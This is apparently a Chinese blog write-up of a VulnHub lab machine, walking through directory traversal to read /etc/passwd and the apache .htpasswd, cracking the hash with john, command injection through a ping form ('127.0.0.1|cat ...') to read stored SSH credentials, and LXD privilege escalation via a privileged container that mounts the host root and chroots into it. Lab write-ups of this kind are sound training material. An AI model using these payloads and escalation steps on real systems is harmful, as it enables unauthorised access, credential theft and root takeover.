Vulunhub Web2靶机练习之lxc

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

 一、信息收集

 二、漏洞利用(目录穿越、命令执行)

 三、提权

总结


前言

提示:这里可以添加本文要记录的大概内容:

Vuluhub Web1靶机也做了,不妨把Web2也做了,总是能学到一些未知的东西。


提示:以下是本篇文章正文内容,下面案例可供参考

一、信息收集

安装好靶机后,一如既往的信息收集,先查看靶机的IP,然后端口情况等等。

靶机的IP地址为192.168.23.133、开放了80端口和22端口,系统是linux_kernel。22端口可以远程ssh登录,80端口用的apache,访问80端口看看。

 

是这么一个页面,还挺帅,可以进行登录和注册,直接注册并且登录进去瞧瞧。

 

好像是一个文件的分享目录 ,XuezhuLi好像是某个集成的框架,先爆破波目录看看,再看看框架有漏洞没。

 

 扫出了webadmin和sign.php、download.php等多个路径,webadmin需要登录,像是后台。

 

有两个漏洞,一个是目录遍历漏洞,一个是CSRF漏洞,自己的靶机没有其它人,第一个没法用,只能用第二个,跟apache的目录遍历漏洞大同小异。

 二、漏洞利用(目录穿越、命令执行)

 遍历出/etc/passwd文件,发现有aiweb2和n0nr00tuser用户,密码未知,爆破有点难。所以好像没啥用,不过80端口用的是apache,可以遍历apache的默认配置文件试试,linux的apache默认存放在/etc/apache2/里面,或许可以找下能够登录后台webadmin的文件,一般Serveradmin会在etc/apache2/sites-enabled/000-default.conf里面有,遍历出来看看。

 

能够看到服务器的根路径为/var/www/html,没有直接显示admin的账号密码,但是显示了认证文件的路径 /etc/apache2/.htpasswd,继续查看。

 

里面存放了用户名和经过hash加密的密码,可以尝试下爆破密码,因为靶机描述提示了要用到的字典 ,把字典下载下来,直接john爆破得到了后台的账号密码,

https://github.com/danielmiessler/SecLists/blame/master/Passwords/Leaked-Databases/rockyou-45.txt

 

知道了后台的账号密码,登录看看。 

 

 这里提示有robots.txt文件。

 

提示有两个目录,/H05Tpin9555/,/S0mextras/,分别访问两个目录,/H05Tpin9555/是一个ping命令的执行,/S0mextras/有提示信息说,想要的东西在/S0mextras/这个目录中。这种ping命令在CTF中常见,可以通过&,|有可能一同被命令执行,从而导致了其它信息泄露。

 

既然提示想要的东西在/S0mextras/目录中,可以试试查找这个目录中的文件。

127.0.0.1|find /var/www/html/webadmin/S0mextras/  -type f  -name '*.txt'

发现了sshUser的文件。

 

 127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt抓取文件中的内容,有用户名和密码,进行ssh登录看看,登录成功。 

 三、提权

登录到靶机后,肯定要进行提权,最好提升到root权限,查看有没有SUID的文件可利用。

find / -user root -perm -4000 -exec ls -l {} \;

 

web1是通过能编辑/etc/passwd用户进行提权,这次不行了,但是SUID权限的文件多了几个,特别是这个/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic,可以进行LXD提权,是个新知识。 

 关于lxc和lxd:

LXC全名Linux Container,就是一种虚拟化的容器技术,可以创建和操作系统接近的环境,但又不需要单独用到内核资源。

LXD全程Linux Daemon,容器管理程序,基于LXC容器技术实现,简单来说就是完成容器管理工作。

关于 lxd提权:当前用户具有lxd权限时(通过id命令可以查看),可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限。

 可以看到当前用户确实有lxd权限,直接搜提权的文件。

 

 或者通过kali的searchsploit直接搜索也能搜索到,并且该提权的sh文件,在/usr/share/exploitdb/exploits/linux/local/46978.sh中,单有这个文件还不行,还要创建一个容器,并导入到lxd中,资料都显示使用alpine镜像。

​​​​​​https://github.com/saghul/lxd-alpine-builder/https://github.com/saghul/lxd-alpine-builder/icon-default.png?t=M85Bhttps://github.com/saghul/lxd-alpine-builder/下载好镜像后和46978.sh一同传入到靶机中,赋予权限,运行即可权限提升

 但是好像不一定lxd权限提升不一定要使用alpine镜像也可以,可以使用任意容器,一般方式为:

lxc init ubuntu: ignite -c security.privileged=true 初始化Ubuntu镜像
lxc config device add ignite mydevice disk source=/ path=/mnt/root  将根目录挂载lxc start ignite        启动容器
lxc exec ignite /bin/sh        进入容器的shell
chroot /mnt/root        提升权限

那么此靶机应该也可以通过将/etc目录挂载到/mnt/root目录下,然后通过openssl生成一个root用户的密码,将自定义root密码的passwd文件上传到容器中,从而进行root的登录。但是靶机自定义镜像真的太慢了。。没法试,但是还是不用网上46978.sh带的脚本,用了alpine镜像实现成功。

 lxc image import ./apline-v3.13-x86_64-20210218_0139.tar.gz --alias myimage 将镜像添加进lxd中

lxc image list 查看镜像列表

lxc  init alpine ignite -c security.privileged=true 应该是初始化容器并设置特权吧

lxc config device add ignite mydevice disk source=/ path=/mnt/root  将根目录挂载到/mnt/root目录

lxc start ignite        启动容器

lxc exec ignite /bin/sh       进入shell

chroot /mnt/root 提升权限

如果

lxc config device add ignite mydevice disk source=/etc path=/mnt/root  将根目录挂载

可以试试自定义passwd,将passwd文件推入容器中

lxc file push passwd mnt/root/passwd

总结

1、目录遍历漏洞

2、 命令执行漏洞

3、lxc提权漏洞

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值